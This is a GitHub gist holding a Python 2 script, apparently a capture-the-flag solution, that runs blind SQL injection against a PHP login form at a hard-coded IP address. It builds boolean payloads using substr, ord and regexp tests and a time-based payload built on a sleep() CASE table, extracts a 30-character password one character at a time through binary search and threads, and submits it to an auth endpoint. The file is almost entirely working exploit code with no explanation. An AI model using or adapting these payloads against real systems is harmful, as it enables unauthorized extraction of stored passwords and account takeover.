Created
February 23, 2014 01:01
-
-
Save richo/9165055 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
import time | |
import requests | |
BACKEND = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php" | |
SOLUTION = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/auth.php" | |
s = requests.Session() | |
password = [] | |
guesses = 0 | |
SLEEP_SKEW = 5 | |
SLEEP_SKEW = 2 | |
LIKELY = set(('lrniasote')) | |
LIKELY = set(('asote')) | |
ALPHABET = set('abcdefghijklmnopqrstuvwxyz') | |
# ALPHABET = set('abcdefghiklmnoprstuvwxy') | |
UNLIKELY = ALPHABET.difference(LIKELY) | |
# # ONLY USE IF YOU'RE TESTING FOR E | |
# LIKELY = set('lrniasot') | |
# # LIKELY = set(('asote')) | |
# ALPHABET = set('abcdfghilmnopqrstuvwxy') | |
def split(s): | |
n1 = set() | |
n2 = s.copy() | |
for i in xrange(len(s)/2): | |
n1.add(n2.pop()) | |
return (n2, n1) | |
current_cookie = None | |
def boolinate(data): | |
global guesses, current_cookie | |
guesses += 1 | |
print "Guess number %d" % guesses | |
res = s.post(BACKEND, data={"password": data}) | |
if current_cookie: | |
assert current_cookie == s.cookies["PHPSESSID"] | |
else: | |
current_cookie = s.cookies["PHPSESSID"] | |
return res.content.strip() == "True" | |
# print "%s => %s" % (chr(guess), res.content) | |
def injection(pos, lower, upper): | |
return """' or ((ord(substr(password, %d, 1)) >= %d) and (ord(substr(password, %d, 1)) < %d)) or password = '""" % (pos, lower, pos, upper) | |
def range_injection(pos, r): | |
print """' or (substr(password, %d, 1) regexp '[%s]') or password = '""" % (pos, "".join(r)) | |
return """' or (substr(password, %d, 1) regexp '[%s]') or password = '""" % (pos, "".join(r)) | |
def confirm_injection(pos, char): | |
return """' or (substr(password, %d, 1) = '%s') or password = '""" % (pos, chr(char)) | |
def gen_sleep_table(): | |
sleep_time = SLEEP_SKEW | |
sleep_lookup = {} | |
sleep_table = """case (ord(substr(password, %d, 1))) """ | |
for i in range(97, 122): | |
sleep_lookup[sleep_time] = chr(i) | |
sleep_table += "when %d then %d " % (i, sleep_time) | |
sleep_time += SLEEP_SKEW | |
sleep_table += "end" | |
return sleep_table, sleep_lookup | |
SLEEP_TABLE, SLEEP_LOOKUP_TABLE = gen_sleep_table() | |
def timing_injection(pos): | |
sleep_table = SLEEP_TABLE % pos | |
return """' or sleep(%s) or password = '""" % sleep_table | |
def validate_set(pos, s): | |
if len(s) == 1: | |
return "".join(s) | |
return enum_set(pos, s) | |
def enum_set(pos, s): | |
if len(s) == 1: | |
return "".join(s) | |
branches = split(s) | |
if boolinate(range_injection(pos, branches[0])): | |
# if len(branches[1]) == 1: | |
# return "".join(branches[1]) | |
return enum_set(pos, branches[0]) | |
else: | |
# if len(branches[0]) == 1: | |
# return "".join(branches[0]) | |
return enum_set(pos, branches[1]) | |
def first_guess(pos): | |
likely = LIKELY | |
likely1 = ('a', 's', 'o', 't', 'e') | |
likely2 = ('l', 'r', 'n', 'i') | |
if boolinate(range_injection(pos, likely)): | |
if boolinate(range_injection(pos, likely1)): | |
if boolinate(range_injection(pos, ('e', 't'))): | |
if boolinate(confirm_injection(pos, ord('e'))): | |
return 'e' | |
elif boolinate(range_injection(pos, ('o', 's'))): | |
if boolinate(confirm_injection(pos, ord('o'))): | |
return 'o' | |
else: | |
return 'a' | |
else: | |
if boolinate(range_injection(pos, ('l', 'r'))): | |
if boolinate(confirm_injection(pos, ord('l'))): | |
return 'l' | |
else: | |
return 'r' | |
# Go about our business | |
return guess(pos, 97, 110) | |
def guess(pos, lower, upper): | |
# TODO logic to fallback to linear search? | |
_range = upper - lower | |
if _range == 1: | |
# Last one, we gotta punt | |
if pos == 30: | |
print "LAST CHAR, TAKING OUR CHANCES" | |
return chr(lower) | |
# We're down to two characters | |
print "[%d] is %s or %s" % (pos, lower, upper) | |
if boolinate(confirm_injection(pos, lower)): | |
return chr(lower) | |
else: | |
if upper == 114: | |
if boolinate(confirm_injection(pos, upper)): | |
return chr(upper) | |
else: | |
return chr(115) | |
# print "Trying %d-%d" % (lower, upper) | |
evil = injection(pos, lower, upper) | |
def _next(lower, upper): | |
ret = guess(pos, lower, upper) | |
return ret | |
if boolinate(evil): | |
if _range == 0: | |
return chr(lower) | |
_n = (lower, upper - (_range/2)) | |
print "++ [%d - %d] -> trying [%d - %d]" % ((lower, upper) + _n) | |
return _next(*_n) | |
else: | |
_n = (upper, upper + (_range/2)) | |
print "-- [%d - %d] -> trying [%d - %d]" % ((lower, upper) + _n) | |
return _next(*_n) | |
# def find_char(pos): | |
# # Locate the first character | |
# guess = [97, 110] | |
# evil = injection(pos, *guess) | |
# # print evil | |
# if boolinate(evil): | |
# print "[%02d] in %s" % (pos, repr(guess)) | |
# guess = [guess[0], guess[1]/2] | |
# if boolinate(evil): | |
# print "[%02d] in %s" % (pos, repr(guess)) | |
# else: | |
# else: | |
# print "[%02d] not in %s" % (pos, repr(guess)) | |
# guess = [guess[1]+ 1, guess[1] + 7] | |
# if boolinate(evil): | |
# print "[%02d] in %s" % (pos, repr(guess)) | |
# def timing_guess(pos): | |
def main(): | |
for i in xrange(30): | |
i += 1 | |
char = first_guess(i) | |
print "--" | |
assert boolinate(confirm_injection(i, ord(char))) | |
print "confirmed %d for %s" % (i, char) | |
print "Trying range check" | |
chars = ('a', 'b', 'c', 'd', char) | |
assert boolinate(range_injection(i, chars)) | |
print "--" | |
# HACKS, confirm assumptions | |
password.append(char) | |
break | |
p = "".join(password) | |
res = s.post(SOLUTION, data={"password": p}) | |
print res.content | |
def newmain(): | |
for i in xrange(30): | |
i += 1 | |
print "Enumerating Char: %d" % (i) | |
# if boolinate(confirm_injection(i, ord('e'))): | |
# print "Found an 'e'" | |
# password.append('e') | |
# continue | |
# Test for existance in the likely set first | |
if boolinate(range_injection(i, LIKELY)): | |
value = enum_set(i, LIKELY) | |
else: | |
value = enum_set(i, UNLIKELY) | |
password.append(value) | |
# assert boolinate(confirm_injection(i, ord(value))) | |
return "".join(password) | |
def timingmain(): | |
container = ["-"] * 30 | |
def solve(index): | |
i = index + 1 | |
before = time.time() | |
boolinate(timing_injection(i)) | |
after = time.time() | |
duration = after - before | |
print "Took %d seconds" % (duration) | |
rounded = round(duration / SLEEP_SKEW) * SLEEP_SKEW | |
print "Rounding to %d" % (rounded) | |
try: | |
guessed_value = SLEEP_LOOKUP_TABLE[rounded] | |
except: | |
guessed_value = None | |
if guessed_value and boolinate(confirm_injection(i, ord(guessed_value))): | |
# Correct guess | |
print "Confirmed %s in %d" % (guessed_value, i) | |
container[i-1] = guessed_value | |
else: | |
print "Something went awry, just doing the binary search" | |
container[i-1] = enum_set(i, ALPHABET) | |
def solve_range(f, t): | |
print "Starting on range(%d, %d)" % (f, t) | |
threads = [] | |
for index in xrange(f, t): | |
def _go(): | |
solve(index) | |
thread = threading.Thread(target=_go) | |
threads.append(thread) | |
thread.start() | |
map(lambda t: t.join(), threads) | |
# solve(0) | |
# solve_range(1, 8) | |
# solve_range(8, 15) | |
# solve_range(15, 22) | |
# solve_range(22, 30) | |
for i in xrange(30): | |
print "Solving for position %d" % (i) | |
solve(i) | |
solution = "".join(container) | |
print solution | |
return solution | |
if __name__ == "__main__": | |
password = timingmain() | |
print password | |
res = s.post(SOLUTION, data={"password": password}) | |
print res.content | |
import pdb; pdb.set_trace() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment